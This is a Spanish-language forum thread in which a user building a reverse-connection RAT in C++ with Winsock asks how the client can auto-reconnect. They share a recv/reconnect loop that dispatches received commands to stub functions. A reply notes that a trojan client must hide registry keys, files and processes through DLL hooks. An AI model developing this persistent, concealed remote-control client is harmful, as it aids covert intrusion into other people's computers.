Muy buenas, he estado aprendiendo algo de sockets en windows, y trasteando, me he dado cuenta de como podría hacer un RAT (remote administration tool) a base de comandos.

Pero, me gustaría saber como puedo hacer que el CLIENTE, estando conectado al servidor, detecte si el servidor de repente ha cortado la comunicación con el cliente (bien porque yo haya manualmente cerrado el servidor, o por ejemplo porque apague el PC), y de ser así, que el cliente intente RECONECTARSE al servidor hasta que lo consiga.

Se me ha ocurrido hacer un thread que, en paralelo al main, haga una especie de ping y si el servidor no responde, el cliente intenta reconectarse al servidor tras un sleep o el intervalo de tiempo que sea. El "problema", es que no se como hacer ese ping (olvidense de system ping) o si hay otra manera de hacerlo más eficiente...

perdonad si la pregunta es muy obvia, muchas gracias...

Estoy en C++ compilando con Dev C++, y estoy haciendo uno de conexion inversa... (o eso creo lol)
ahora miro el link y te comento, gracias

 
 
int recv_size;
 
 
 
 
     	  while(1)
     {
     comando = 0;
    //Recibir respuesta del servidor
    if((recv_size = recv(s , (char*)&comando , sizeof(int) , 0)) == SOCKET_ERROR)
    {
        puts("recv fail, reconectando");
        closesocket(s);
        if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
    {
        printf("No se pudo crear el socket : %d" , WSAGetLastError());
    }
         while (connect(s , (struct sockaddr *)&server , sizeof(server)) == SOCKET_ERROR)
    {
        puts("Conexion fallida. Reconectando");
        closesocket(s);
        if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
        connect(s , (struct sockaddr *)&server , sizeof(server));
        Sleep(3000);
 
    }
    }
     else
    {
    puts("Comando recibido\n");
    }   
 
 
    std::cout << comando;
 
    switch(comando)
    {
 
    case 1: funcion();
    break;
    case 2: funcion2();
//etc...
    break;
    default: break;
    }
}

Que les parece... esto me ha servido

Puedes comentar mi codigo??

a muy grosso modo si, son eso, una aplicación cliente-servidor. Sin embargo hoy en día las cosas no son tan simples. El cliente del troyano tiene que esconderse por razones obvias. Tiene que esconder llaves del registro, archivos, procesos etc, y eso se consigue con dlls que al fin y al cabo son una forma de ejecutable, necesarios para hacer hooks en windows